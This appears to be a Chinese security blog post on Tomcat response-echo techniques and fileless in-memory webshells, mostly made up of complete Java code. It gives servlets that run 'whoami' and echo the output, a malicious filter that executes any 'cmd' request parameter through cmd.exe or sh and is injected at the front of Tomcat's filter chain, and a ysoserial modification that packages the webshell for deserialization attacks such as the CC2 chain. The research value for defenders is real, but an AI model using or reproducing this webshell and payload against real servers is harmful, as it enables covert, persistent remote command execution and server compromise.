数据回显是什么意思(系统自动返显方法)
0x00 前言#
按照我个人的理解来说其实只要能拿到request 和response对象即可进行回显的构造,当然这也是众多方式的一种。也是目前用的较多的方式。比如在tomcat 全局存储的request 和response对象,进行获取后则可以在tomcat这个容器下进行回显。而某些漏洞的方式会从漏洞的位置去寻找存储request 和response对象的地方。
0x01 tomcat通用回显#
根据litch1师傅的思路来寻找request,response对象全局存储的位置基于全局储存的新思路 | tomcat的一种通用回显方法研究
根据该文章思路得知,在tomcat启动的时候会调用该位置的dorun方法
由图可见,调用栈会来到创建http11processor对象这一步,http11processor继承abstractprocessor类。而abstractprocessor类中可见有request,response这两对象。并且为final修饰的,赋值后不可被更改。
那么此时我们只需要获取到这个http11processor对象即可获取到request,response。继续跟进查看http11processor对象在哪进行存储。
调用this.register将前面创建的http11processor对象进行传递。而后调用processor.getrequest().getrequestprocessor()获取requestinfo。
调用获取到的requestinfo,这里为rp。rp的setglobalprocessor将global进行传递,而setglobalprocessor方法里面会调用
global.addrequestprocessor将rp添加进去。
跟进进去发现,processors为一个arraylist,里面存储requestinfo类型的数据。
所以整体的思路下来我们需要获取abstractprotocol$connectionhandler类 -> 获取global变量 ->requestinfo->request–>response。
再往后需要寻找存储abstractprotocol类或继承abstractprotocol类的子类。
这里寻找到的是connector成员变量中为protocolhandler属性的值,而 http11aprprotocol类实现了该接口。
所以获取request的处理请求是
connector—>abstractprotocol$connectoinhandler—>global—>requestinfo—>request—>response
而在tomcat启动过程红会将connector放入service中。
而现在获取完成的流程是
standardservice—>connector—>abstractprotocol$connectoinhandler—>requestgroupinfo(global)–>requestinfo——->request——–>response
那么这时候如何获取standardservice成为了问题的一大关键。
文中给出的方法是从
thread.currentthread.getcontextclassloader()里面获取webappclassloaderbase,再获取上下文中的 standardservice。
最后调用链为
webappclassloaderbase —>
applicationcontext(getresources().getcontext()) —> standardservice—>connector—>abstractprotocol$connectoinhandler—>requestgroupinfo(global)—>requestinfo——->request——–>response
package com;
import org.apache.catalina.context;
import org.apache.catalina.service;
import org.apache.catalina.connector.connector;
import org.apache.catalina.core.applicationcontext;
import org.apache.catalina.core.standardcontext;
import org.apache.catalina.core.standardservice;
import org.apache.coyote.abstractprotocol;
import org.apache.coyote.requestgroupinfo;
import org.apache.coyote.requestinfo;
import org.apache.coyote.response;
import javax.servlet.servletcontext;
import javax.servlet.servletexception;
import javax.servlet.annotation.webservlet;
import javax.servlet.http.httpservlet;
import javax.servlet.http.httpservletrequest;
import javax.servlet.http.httpservletresponse;
import java.io.ioexception;
import java.lang.reflect.constructor;
import java.lang.reflect.field;
import java.lang.reflect.invocationtargetexception;
import java.lang.reflect.modifier;
import java.util.arraylist;
@webservlet("/demoservlet")
public class demoservlet extends httpservlet {
protected void dopost(httpservletrequest request, httpservletresponse response) throws servletexception, ioexception {
org.apache.catalina.loader.webappclassloaderbase webappclassloaderbase = (org.apache.catalina.loader.webappclassloaderbase) thread.currentthread().getcontextclassloader();
standardcontext standardcontext = (standardcontext) webappclassloaderbase.getresources().getcontext();
try {
field context = class.forname("org.apache.catalina.core.standardcontext").getdeclaredfield("context");
context.setaccessible(true);
applicationcontext applicationcontext = (applicationcontext)context.get(standardcontext);
field service = class.forname("org.apache.catalina.core.applicationcontext").getdeclaredfield("service");
service.setaccessible(true);
standardservice standardservice = (standardservice)service.get(applicationcontext);
field connectors = class.forname("org.apache.catalina.core.standardservice").getdeclaredfield("connectors");
connectors.setaccessible(true);
connector[] connector = (connector[])connectors.get(standardservice);
field protocolhandler = class.forname("org.apache.catalina.connector.connector").getdeclaredfield("protocolhandler");
protocolhandler.setaccessible(true);
// abstractprotocol abstractprotocol = (abstractprotocol)protocolhandler.get(connector[0]);
class<?>[] abstractprotocol_list = class.forname("org.apache.coyote.abstractprotocol").getdeclaredclasses();
for (class<?> aclass : abstractprotocol_list) {
if (aclass.getname().length()==52){
java.lang.reflect.method gethandlermethod = org.apache.coyote.abstractprotocol.class.getdeclaredmethod("gethandler",null);
gethandlermethod.setaccessible(true);
field globalfield = aclass.getdeclaredfield("global");
globalfield.setaccessible(true);
org.apache.coyote.requestgroupinfo requestgroupinfo = (org.apache.coyote.requestgroupinfo) globalfield.get(gethandlermethod.invoke(connector[0].getprotocolhandler(), null));
field processors = class.forname("org.apache.coyote.requestgroupinfo").getdeclaredfield("processors");
processors.setaccessible(true);
java.util.list<requestinfo> requestinfo_list = (java.util.list<requestinfo>) processors.get(requestgroupinfo);
field req = class.forname("org.apache.coyote.requestinfo").getdeclaredfield("req");
req.setaccessible(true);
for (requestinfo requestinfo : requestinfo_list) {
org.apache.coyote.request request1 = (org.apache.coyote.request )req.get(requestinfo);
org.apache.catalina.connector.request request2 = ( org.apache.catalina.connector.request)request1.getnote(1);
org.apache.catalina.connector.response response2 = request2.getresponse();
response2.getwriter().write("111");
}
}
}
} catch (nosuchfieldexception e) {
e.printstacktrace();
} catch (classnotfoundexception e) {
e.printstacktrace();
} catch (illegalaccessexception e) {
e.printstacktrace();
} catch (nosuchmethodexception e) {
e.printstacktrace();
} catch (invocationtargetexception e) {
e.printstacktrace();
}
}
protected void doget(httpservletrequest request, httpservletresponse response) throws servletexception, ioexception {
this.dopost(request, response);
}
}
这里是借助了获取到的request和response来输出结果。再来修改一下代码。
package com;
import org.apache.catalina.context;
import org.apache.catalina.service;
import org.apache.catalina.connector.connector;
import org.apache.catalina.core.applicationcontext;
import org.apache.catalina.core.standardcontext;
import org.apache.catalina.core.standardservice;
import org.apache.coyote.abstractprotocol;
import org.apache.coyote.requestgroupinfo;
import org.apache.coyote.requestinfo;
import org.apache.coyote.response;
import javax.servlet.servletcontext;
import javax.servlet.servletexception;
import javax.servlet.annotation.webservlet;
import javax.servlet.http.httpservlet;
import javax.servlet.http.httpservletrequest;
import javax.servlet.http.httpservletresponse;
import java.io.bufferedinputstream;
import java.io.bufferedoutputstream;
import java.io.ioexception;
import java.io.inputstream;
import java.lang.reflect.constructor;
import java.lang.reflect.field;
import java.lang.reflect.invocationtargetexception;
import java.lang.reflect.modifier;
import java.util.arraylist;
@webservlet("/demoservlet")
public class demoservlet extends httpservlet {
protected void dopost(httpservletrequest request, httpservletresponse response) throws servletexception, ioexception {
org.apache.catalina.loader.webappclassloaderbase webappclassloaderbase = (org.apache.catalina.loader.webappclassloaderbase) thread.currentthread().getcontextclassloader();
standardcontext standardcontext = (standardcontext) webappclassloaderbase.getresources().getcontext();
try {
field context = class.forname("org.apache.catalina.core.standardcontext").getdeclaredfield("context");
context.setaccessible(true);
applicationcontext applicationcontext = (applicationcontext)context.get(standardcontext);
field service = class.forname("org.apache.catalina.core.applicationcontext").getdeclaredfield("service");
service.setaccessible(true);
standardservice standardservice = (standardservice)service.get(applicationcontext);
field connectors = class.forname("org.apache.catalina.core.standardservice").getdeclaredfield("connectors");
connectors.setaccessible(true);
connector[] connector = (connector[])connectors.get(standardservice);
field protocolhandler = class.forname("org.apache.catalina.connector.connector").getdeclaredfield("protocolhandler");
protocolhandler.setaccessible(true);
// abstractprotocol abstractprotocol = (abstractprotocol)protocolhandler.get(connector[0]);
class<?>[] abstractprotocol_list = class.forname("org.apache.coyote.abstractprotocol").getdeclaredclasses();
for (class<?> aclass : abstractprotocol_list) {
if (aclass.getname().length()==52){
java.lang.reflect.method gethandlermethod = org.apache.coyote.abstractprotocol.class.getdeclaredmethod("gethandler",null);
gethandlermethod.setaccessible(true);
field globalfield = aclass.getdeclaredfield("global");
globalfield.setaccessible(true);
org.apache.coyote.requestgroupinfo requestgroupinfo = (org.apache.coyote.requestgroupinfo) globalfield.get(gethandlermethod.invoke(connector[0].getprotocolhandler(), null));
field processors = class.forname("org.apache.coyote.requestgroupinfo").getdeclaredfield("processors");
processors.setaccessible(true);
java.util.list<requestinfo> requestinfo_list = (java.util.list<requestinfo>) processors.get(requestgroupinfo);
field req = class.forname("org.apache.coyote.requestinfo").getdeclaredfield("req");
req.setaccessible(true);
for (requestinfo requestinfo : requestinfo_list) {
org.apache.coyote.request request1 = (org.apache.coyote.request )req.get(requestinfo);
org.apache.catalina.connector.request request2 = ( org.apache.catalina.connector.request)request1.getnote(1);
org.apache.catalina.connector.response response2 = request2.getresponse();
response2.getwriter().write("111");
inputstream whoami = runtime.getruntime().exec("whoami").getinputstream();
// bufferedinputstream bufferedinputstream = new bufferedinputstream(whoami);
bufferedinputstream bis = new bufferedinputstream(whoami);
int b ;
while ((b = bis.read())!=-1){
response2.getwriter().write(b);
}
}
}
}
} catch (nosuchfieldexception e) {
e.printstacktrace();
} catch (classnotfoundexception e) {
e.printstacktrace();
} catch (illegalaccessexception e) {
e.printstacktrace();
} catch (nosuchmethodexception e) {
e.printstacktrace();
} catch (invocationtargetexception e) {
e.printstacktrace();
}
}
protected void doget(httpservletrequest request, httpservletresponse response) throws servletexception, ioexception {
this.dopost(request, response);
}
}
将命令执行结果使用获取到的request和response来输出。
坑点记录#
- 开始想直接获取内部类发现思路不通,后来采用getdeclaredclasses方法获取某类中所有内部的内部类遍历,判断类名传递定位到该类。
- 获取global遍历的时候出现了巨坑,直接反射去获取。但是未意识到创建是一个class对象,反射使用get方法必须传递实例。
- 获取到request需要调用request.getnote(1);转换为org.apache.catalina.connector.request的对象。
- fanal修饰变量,需做修改,直接获取报错。
通过调用 org.apache.coyote.request#getnote(adapter_notes) 和 org.apache.coyote.response#getnote(adapter_notes) 来获取 org.apache.catalina.connector.request 和 org.apache.catalina.connector.response 对象
文章链接
0x02 tomcat半通用回显#
基于tomcat中一种半通用回显方法该篇文来调试一下。
根据前文思路顺着堆栈一路向下查看request和response存储位置,只要获取到一个实例即可。
顺着思路,在
org.apache.catalina.core.applicationfilterchain位置发现符合条件的变量。
下面寻找赋值位置,发现在这个位置对request,response进行实例的存储。但是默认为false
思路如下:
1、反射修改
applicationdispatcher.wrap_same_object,让代码逻辑走到if条件里面
2、初始化lastservicedrequest和lastservicedresponse两个变量,默认为null
3、从lastservicedresponse中获取当前请求response,并且回显内容。
自己尝试构造了一下
package com;
import javax.servlet.servletexception;
import javax.servlet.servletrequest;
import javax.servlet.servletresponse;
import javax.servlet.annotation.webservlet;
import javax.servlet.http.httpservlet;
import javax.servlet.http.httpservletrequest;
import javax.servlet.http.httpservletresponse;
import java.io.ioexception;
import java.lang.reflect.field;
import java.lang.reflect.modifier;
@webservlet("/testservlet")
public class testservlet extends httpservlet {
protected void dopost(httpservletrequest request, httpservletresponse response) {
try {
field wrap_same_object = class.forname("org.apache.catalina.core.applicationdispatcher").getdeclaredfield("wrap_same_object");
field lastservicedrequest = class.forname("org.apache.catalina.core.applicationfilterchain").getdeclaredfield("lastservicedrequest");
field lastservicedresponse = class.forname("org.apache.catalina.core.applicationfilterchain").getdeclaredfield("lastservicedresponse");
lastservicedrequest.setaccessible(true);
lastservicedresponse.setaccessible(true);
wrap_same_object.setaccessible(true);
//修改final
field modifiersfield = field.class.getdeclaredfield("modifiers");
modifiersfield.setaccessible(true);
modifiersfield.setint(wrap_same_object, wrap_same_object.getmodifiers() & ~modifier.final);
modifiersfield.setint(lastservicedrequest, lastservicedrequest.getmodifiers() & ~modifier.final);
modifiersfield.setint(lastservicedresponse, lastservicedresponse.getmodifiers() & ~modifier.final);
boolean wrap_same_object1 = wrap_same_object.getboolean(null);
threadlocal<servletrequest> requestthreadlocal = (threadlocal<servletrequest>)lastservicedrequest.get(null);
threadlocal<servletresponse> responsethreadlocal = (threadlocal<servletresponse>)lastservicedresponse.get(null);
wrap_same_object.setboolean(null,true);
lastservicedrequest.set(null,new threadlocal<>());
lastservicedresponse.set(null,new threadlocal<>());
servletresponse servletresponse = responsethreadlocal.get();
servletresponse.getwriter().write("111");
} catch (exception e) {
e.printstacktrace();
}
}
protected void doget(httpservletrequest request, httpservletresponse response) throws servletexception, ioexception {
this.dopost(request, response);
}
}
同理,可集成到yso中,反序列化命令执行结果借助该servletresponse。
局限#
在shiro反序列化漏洞的利用中并不能成功,发现request,response的设置是在漏洞触发点之后,所以在触发漏洞执行任意java代码时获取不到我们想要的response。其原因是因为rememberme功能的实现是使用了自己实现的filter。
0x03 内存马构造#
前文的基于tomcat实现内存马中只是借助servlet直接去进行动态添加filter实现内存马。而实际当中还是需要借助反序列化点来直接打入内存马。
下面再来构造一个完整的。
获取到applicationcontext调用addfilter方法直接将恶意filter添加进去发现并不行。
applicationcontext.addfilter(filtername,new shellintinject());
断点处进行了判断,条件为true,会直接抛出异常。而这时候可以借助反射去进行修改。
field state = class.forname("org.apache.catalina.util.lifecyclebase").getdeclaredfield("state");
state.setaccessible(true);
state.set(standardcontext,org.apache.catalina.lifecyclestate.starting_prep);
修改完成后,再来看到addfilter中,
this.context.findfilterdef也就是寻找standardcontext中的filterdef,所以我们需要添加到filterconfigs、filterdefs、filtermaps。
在添加filter前,通过反射设置成
lifecyclestate.starting_prep,添加完成后,再把其恢复成lifecyclestate.starte,需要恢复,否则可能导致服务不可用。
//添加拦截路径,实现是将存储写入到filtermap中
registration.addmappingforurlpatterns(java.util.enumset.of(javax.servlet.dispatchertype.request), false,new string[]{"/*"});
后面再来看到standardcontext 中filterstart方法会遍历所有filterdefs实例化applicationfilterconfig添加到filterconfigs中
this.filterconfigs.clear();
iterator i$ = this.filterdefs.entryset().iterator();
while(i$.hasnext()) {
entry<string, filterdef> entry = (entry)i$.next();
string name = (string)entry.getkey();
if (this.getlogger().isdebugenabled()) {
this.getlogger().debug(" starting filter '" + name + "'");
}
try {
applicationfilterconfig filterconfig = new applicationfilterconfig(this, (filterdef)entry.getvalue());
this.filterconfigs.put(name, filterconfig);
} catch (throwable var8) {
throwable t = exceptionutils.unwrapinvocationtargetexception(var8);
exceptionutils.handlethrowable(t);
this.getlogger().error(sm.getstring("standardcontext.filterstart", new object[]{name}), t);
ok = false;
}
}
return ok;
}
}
前面我们的调用addfilter方法的时候已经将 对应的filterdef给添加进去,我们只需要调用该方法即可实现filterconfig的添加。
//调用filterstart方法将filterconfig进行添加
method filterstart = class.forname("org.apache.catalina.core.standardcontext").getmethod("filterstart");
filterstart.setaccessible(true);
filterstart.invoke(standardcontext,null);
最后,需要将filter位置进行调整。
在调试中途,部分代码抛出异常并没有直接执行state.set(standardcontext,
org.apache.catalina.lifecyclestate.started);会导致tomcat直接503。无法进行正常访问,需重启。
完整代码#
package com;
import org.apache.catalina.core.applicationcontext;
import org.apache.catalina.core.standardcontext;
import org.apache.tomcat.util.descriptor.web.filtermap;
import javax.servlet.*;
import javax.servlet.annotation.webservlet;
import javax.servlet.http.httpservlet;
import javax.servlet.http.httpservletrequest;
import javax.servlet.http.httpservletresponse;
import java.io.bufferedinputstream;
import java.io.ioexception;
import java.io.inputstream;
import java.lang.reflect.field;
import java.lang.reflect.method;
import java.lang.reflect.modifier;
@webservlet("/testservlet")
public class testservlet extends httpservlet {
private final string cmdparamname = "cmd";
private final static string filterurlpattern = "/*";
private final static string filtername = "cmdfilter";
protected void dopost(httpservletrequest request, httpservletresponse response) {
try {
field wrap_same_object = class.forname("org.apache.catalina.core.applicationdispatcher").getdeclaredfield("wrap_same_object");
field lastservicedrequest = class.forname("org.apache.catalina.core.applicationfilterchain").getdeclaredfield("lastservicedrequest");
field lastservicedresponse = class.forname("org.apache.catalina.core.applicationfilterchain").getdeclaredfield("lastservicedresponse");
lastservicedrequest.setaccessible(true);
lastservicedresponse.setaccessible(true);
wrap_same_object.setaccessible(true);
//修改final
field modifiersfield = field.class.getdeclaredfield("modifiers");
modifiersfield.setaccessible(true);
modifiersfield.setint(wrap_same_object, wrap_same_object.getmodifiers() & ~modifier.final);
modifiersfield.setint(lastservicedrequest, lastservicedrequest.getmodifiers() & ~modifier.final);
modifiersfield.setint(lastservicedresponse, lastservicedresponse.getmodifiers() & ~modifier.final);
boolean wrap_same_object1 = wrap_same_object.getboolean(null);
threadlocal<servletrequest> requestthreadlocal = (threadlocal<servletrequest>)lastservicedrequest.get(null);
threadlocal<servletresponse> responsethreadlocal = (threadlocal<servletresponse>)lastservicedresponse.get(null);
wrap_same_object.setboolean(null,true);
lastservicedrequest.set(null,new threadlocal<>());
lastservicedresponse.set(null,new threadlocal<>());
servletresponse servletresponse = responsethreadlocal.get();
servletrequest servletrequest = requestthreadlocal.get();
servletcontext servletcontext = servletrequest.getservletcontext(); //这里实际获取到的是applicationcontextfacade
if (servletcontext!=null) {
//编写恶意filter
class shellintinject implements javax.servlet.filter{
@override
public void init(filterconfig filterconfig) throws servletexception {
}
@override
public void dofilter(servletrequest servletrequest, servletresponse servletresponse, filterchain filterchain) throws ioexception, servletexception {
system.out.println("s");
string cmd = servletrequest.getparameter(cmdparamname);
if(cmd!=null) {
string[] cmds = null;
if (system.getproperty("os.name").tolowercase().contains("win")) {
cmds = new string[]{"cmd.exe", "/c", cmd};
} else {
cmds = new string[]{"sh", "-c", cmd};
}
java.io.inputstream in = runtime.getruntime().exec(cmds).getinputstream();
java.util.scanner s = new java.util.scanner(in).usedelimiter("\a");
string output = s.hasnext() ? s.next() : "";
java.io.writer writer = servletresponse.getwriter();
writer.write(output);
writer.flush();
writer.close();
}
filterchain.dofilter(request, response);
}
@override
public void destroy() {
}
}
//获取applicationcontext
field context = servletcontext.getclass().getdeclaredfield("context");
context.setaccessible(true);
applicationcontext applicationcontext = (applicationcontext)context.get(servletcontext);
//获取standardcontext
field context1 = applicationcontext.getclass().getdeclaredfield("context");
context1.setaccessible(true);
standardcontext standardcontext = (standardcontext) context1.get(applicationcontext);
//获取lifecyclebase的state修改为org.apache.catalina.lifecyclestate.starting_prep
field state = class.forname("org.apache.catalina.util.lifecyclebase").getdeclaredfield("state");
state.setaccessible(true);
state.set(standardcontext,org.apache.catalina.lifecyclestate.starting_prep);
//注册filtername
filterregistration.dynamic registration = applicationcontext.addfilter(filtername, new shellintinject());
//添加拦截路径,实现是将存储写入到filtermap中
registration.addmappingforurlpatterns(java.util.enumset.of(javax.servlet.dispatchertype.request), false,new string[]{"/*"});
//调用filterstart方法将filterconfig进行添加
method filterstart = class.forname("org.apache.catalina.core.standardcontext").getmethod("filterstart");
filterstart.setaccessible(true);
filterstart.invoke(standardcontext,null);
//移动filter为位置到前面
filtermap[] filtermaps = standardcontext.findfiltermaps();
for (int i = 0; i < filtermaps.length; i++) {
if (filtermaps[i].getfiltername().equalsignorecase(filtername)) {
org.apache.tomcat.util.descriptor.web.filtermap filtermap = filtermaps[i];
filtermaps[i] = filtermaps[0];
filtermaps[0] = filtermap;
break;
}
}
servletresponse.getwriter().write("success");
state.set(standardcontext,org.apache.catalina.lifecyclestate.started);
}
} catch (exception e) {
e.printstacktrace();
}
}
protected void doget(httpservletrequest request, httpservletresponse response) throws servletexception, ioexception {
this.dopost(request, response);
}
}
但这并未完,虽然我们借助了代码执行获取到request和response后构造内存马。但是仍需要修改代码,将代码集成到yso中后,以供反序列化攻击使用。
0x04 改造yso#
将前面代码扣下来,并且继承abstracttranslet,后面需要使用templatesimpl类去动态加载该类。
package ysoserial.exploit;
import com.sun.org.apache.xalan.internal.xsltc.dom;
import com.sun.org.apache.xalan.internal.xsltc.transletexception;
import com.sun.org.apache.xalan.internal.xsltc.runtime.abstracttranslet;
import com.sun.org.apache.xml.internal.dtm.dtmaxisiterator;
import com.sun.org.apache.xml.internal.serializer.serializationhandler;
import org.apache.catalina.core.applicationcontext;
import org.apache.catalina.core.standardcontext;
import org.apache.tomcat.util.descriptor.web.filtermap;
import javax.servlet.*;
import java.io.ioexception;
import java.lang.reflect.field;
import java.lang.reflect.method;
import java.lang.reflect.modifier;
public class tomcatshellintinject extends abstracttranslet {
private final static string cmdparamname = "cmd";
private final static string filterurlpattern = "/*";
private final static string filtername = "cmdfilter";
static {
try {
field wrap_same_object = class.forname("org.apache.catalina.core.applicationdispatcher").getdeclaredfield("wrap_same_object");
field lastservicedrequest = class.forname("org.apache.catalina.core.applicationfilterchain").getdeclaredfield("lastservicedrequest");
field lastservicedresponse = class.forname("org.apache.catalina.core.applicationfilterchain").getdeclaredfield("lastservicedresponse");
lastservicedrequest.setaccessible(true);
lastservicedresponse.setaccessible(true);
wrap_same_object.setaccessible(true);
//修改final
field modifiersfield = field.class.getdeclaredfield("modifiers");
modifiersfield.setaccessible(true);
modifiersfield.setint(wrap_same_object, wrap_same_object.getmodifiers() & ~modifier.final);
modifiersfield.setint(lastservicedrequest, lastservicedrequest.getmodifiers() & ~modifier.final);
modifiersfield.setint(lastservicedresponse, lastservicedresponse.getmodifiers() & ~modifier.final);
boolean wrap_same_object1 = wrap_same_object.getboolean(null);
threadlocal<servletrequest> requestthreadlocal = (threadlocal<servletrequest>) lastservicedrequest.get(null);
threadlocal<servletresponse> responsethreadlocal = (threadlocal<servletresponse>) lastservicedresponse.get(null);
wrap_same_object.setboolean(null, true);
lastservicedrequest.set(null, new threadlocal<servletrequest>());
lastservicedresponse.set(null, new threadlocal<servletresponse>());
servletresponse servletresponse = responsethreadlocal.get();
servletrequest servletrequest = requestthreadlocal.get();
servletcontext servletcontext = servletrequest.getservletcontext(); //这里实际获取到的是applicationcontextfacade
if (servletcontext != null) {
//编写恶意filter
class shellintinject implements filter {
@override
public void init(filterconfig filterconfig) throws servletexception {
}
@override
public void dofilter(servletrequest servletrequest, servletresponse servletresponse, filterchain filterchain) throws ioexception, servletexception {
string cmd = servletrequest.getparameter(cmdparamname);
if (cmd != null) {
string[] cmds = null;
if (system.getproperty("os.name").tolowercase().contains("win")) {
cmds = new string[]{"cmd.exe", "/c", cmd};
} else {
cmds = new string[]{"sh", "-c", cmd};
}
java.io.inputstream in = runtime.getruntime().exec(cmds).getinputstream();
java.util.scanner s = new java.util.scanner(in).usedelimiter("\a");
string output = s.hasnext() ? s.next() : "";
java.io.writer writer = servletresponse.getwriter();
writer.write(output);
writer.flush();
writer.close();
}
filterchain.dofilter(servletrequest, servletresponse);
}
@override
public void destroy() {
}
}
//获取applicationcontext
field context = servletcontext.getclass().getdeclaredfield("context");
context.setaccessible(true);
applicationcontext applicationcontext = (applicationcontext) context.get(servletcontext);
//获取standardcontext
field context1 = applicationcontext.getclass().getdeclaredfield("context");
context1.setaccessible(true);
standardcontext standardcontext = (standardcontext) context1.get(applicationcontext);
//获取lifecyclebase的state修改为org.apache.catalina.lifecyclestate.starting_prep
field state = class.forname("org.apache.catalina.util.lifecyclebase").getdeclaredfield("state");
state.setaccessible(true);
state.set(standardcontext, org.apache.catalina.lifecyclestate.starting_prep);
//注册filtername
filterregistration.dynamic registration = applicationcontext.addfilter(filtername, new shellintinject());
//添加拦截路径,实现是将存储写入到filtermap中
registration.addmappingforurlpatterns(java.util.enumset.of(dispatchertype.request), false, new string[]{filterurlpattern});
//调用filterstart方法将filterconfig进行添加
method filterstart = class.forname("org.apache.catalina.core.standardcontext").getmethod("filterstart");
filterstart.setaccessible(true);
filterstart.invoke(standardcontext, null);
//移动filter为位置到前面
filtermap[] filtermaps = standardcontext.findfiltermaps();
for (int i = 0; i < filtermaps.length; i++) {
if (filtermaps[i].getfiltername().equalsignorecase(filtername)) {
org.apache.tomcat.util.descriptor.web.filtermap filtermap = filtermaps[i];
filtermaps[i] = filtermaps[0];
filtermaps[0] = filtermap;
break;
}
}
servletresponse.getwriter().write("success");
state.set(standardcontext, org.apache.catalina.lifecyclestate.started);
}
} catch (exception e) {
e.printstacktrace();
}
}
@override
public void transform(dom document, serializationhandler[] handlers) throws transletexception {
}
@override
public void transform(dom document, dtmaxisiterator iterator, serializationhandler handler) throws transletexception {
}
}
yso中createtemplatesimpl稍做修改
public static object createtemplatesimpl_shell ( final string command ) throws exception {
if ( boolean.parseboolean(system.getproperty("properxalan", "false")) ) {
return createtemplatesimpl(
command,
class.forname("org.apache.xalan.xsltc.trax.templatesimpl"),
class.forname("org.apache.xalan.xsltc.runtime.abstracttranslet"),
class.forname("org.apache.xalan.xsltc.trax.transformerfactoryimpl"));
}
return createtemplatesimpl_shell(command, templatesimpl.class, abstracttranslet.class, transformerfactoryimpl.class);
}
public static <t> t createtemplatesimpl_shell ( final string command, class<t> tplclass, class<?> absttranslet, class<?> transfactory )
throws exception {
final t templates = tplclass.newinstance();
// use template gadget class
classpool pool = classpool.getdefault();
pool.insertclasspath(new classclasspath(stubtransletpayload.class));
pool.insertclasspath(new classclasspath(absttranslet));
final ctclass clazz = pool.get(stubtransletpayload.class.getname());
final byte[] classbytes = classfiles.classasbytes(tomcatshellintinject.class);
// final byte[] classbytes = clazz.tobytecode();
// inject class bytes into instance
reflections.setfieldvalue(templates, "_bytecodes", new byte[][] {
classbytes, classfiles.classasbytes(foo.class)
});
// required to make templatesimpl happy
reflections.setfieldvalue(templates, "_name", "pwnr");
reflections.setfieldvalue(templates, "_tfactory", transfactory.newinstance());
return templates;
}
这里拿cc2链来测试,复制cc2链代码。将getobject方法修改
final object templates = gadgets.createtemplatesimpl_shell(command);
github:https://github.com/nice0e3/ysoserial-master
0x05 reference#
基于全局储存的新思路 | tomcat的一种通用回显方法研究
tomcat中一种半通用回显方法
基于tomcat的内存 webshell 无文件攻击技术
java web代码执行漏洞回显总结
shiro 550 漏洞学习 (二):内存马注入及回显
0x06 结尾#
说到底,其实中间件回显就是获取request 和response对象,拿到以后借助拿到的request 和response对象进行回显,而内存马则是使用获取到的这两对象从而获取到context进行动态添加filter。而文中并没有去实现冰蝎等内存shell,而只实现了一个cmd的shell。同理,只需将恶意fliter修改成冰蝎的shell即可。